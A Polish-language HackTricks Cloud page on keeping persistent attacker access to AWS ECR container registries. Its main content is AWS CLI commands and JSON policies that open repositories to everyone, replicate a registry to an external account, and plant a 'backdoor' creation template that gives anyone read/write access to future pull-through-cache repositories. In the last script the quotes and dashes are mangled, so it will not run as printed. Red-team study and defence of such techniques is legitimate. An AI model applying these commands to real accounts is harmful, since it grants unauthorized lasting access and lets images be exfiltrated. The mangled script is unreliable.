AWS - ECR Persistence
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
ECR
Więcej informacji:
Ukryty Docker Image ze złośliwym kodem
Atakujący może wgrać Docker image zawierający złośliwy kod do repozytorium ECR i użyć go do utrzymania persistence na docelowym koncie AWS. Następnie atakujący może wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
Polityka repozytorium
Dodaj politykę do pojedynczego repozytorium, przyznając sobie (lub wszystkim) dostęp do repozytorium:
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
Warning
Zwróć uwagę, że ECR wymaga, aby użytkownicy mieli uprawnienia do wywoływania API
ecr:GetAuthorizationTokenpoprzez politykę IAM zanim będą mogli się uwierzytelnić w rejestrze i wgrywać lub pobierać jakiekolwiek obrazy z dowolnego Amazon ECR repository.
Polityka rejestru i replikacja między kontami
Możliwe jest automatyczne replikowanie rejestru na zewnętrzne konto poprzez skonfigurowanie replikacji między kontami, gdzie musisz wskazać zewnętrzne konto, na które chcesz replikować rejestr.
.png)
Najpierw musisz przyznać zewnętrznemu kontu dostęp do rejestru za pomocą polityki rejestru takiej jak:
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
Następnie zastosuj konfigurację replikacji:
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Repository Creation Templates (prefix backdoor dla przyszłych repo)
Wykorzystaj ECR Repository Creation Templates, aby automatycznie backdoorować każde repozytorium, które ECR tworzy automatycznie pod kontrolowanym prefixem (np. przez Pull-Through Cache lub Create-on-Push). To zapewnia trwały, nieautoryzowany dostęp do przyszłych repozytoriów bez ingerencji w istniejące.
- Wymagane uprawnienia: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (używane przez szablon), iam:PassRole (jeśli do szablonu dołączona jest niestandardowa rola).
- Skutek: Każde nowe repozytorium utworzone pod docelowym prefixem automatycznie dziedziczy politykę repozytorium kontrolowaną przez atakującego (np. cross-account read/write), ustawienia mutowalności tagów oraz domyślne ustawienia skanowania.
Backdoor przyszłych repo utworzonych przez PTC pod wybranym prefixem
```bash # Region REGION=us-east-11) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<‘JSON’ { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “BackdoorRW”, “Effect”: “Allow”, “Principal”: {“AWS”: “*”}, “Action”: [ “ecr:BatchCheckLayerAvailability”, “ecr:BatchGetImage”, “ecr:GetDownloadUrlForLayer”, “ecr:InitiateLayerUpload”, “ecr:UploadLayerPart”, “ecr:CompleteLayerUpload”, “ecr:PutImage” ] } ] } JSON
2) Create a Repository Creation Template for prefix “ptc2” applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template –region $REGION –prefix ptc2 –applied-for PULL_THROUGH_CACHE –image-tag-mutability MUTABLE –repository-policy file:///tmp/repo_backdoor_policy.json
3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
This example caches from Amazon ECR Public namespace “nginx”
aws ecr create-pull-through-cache-rule –region $REGION –ecr-repository-prefix ptc2 –upstream-registry ecr-public –upstream-registry-url public.ecr.aws –upstream-repository-prefix nginx
4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity –query Account –output text) aws ecr get-login-password –region $REGION | docker login –username AWS –password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy –region $REGION –repository-name ptc2/nginx –query policyText –output text | jq .
</details>
> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

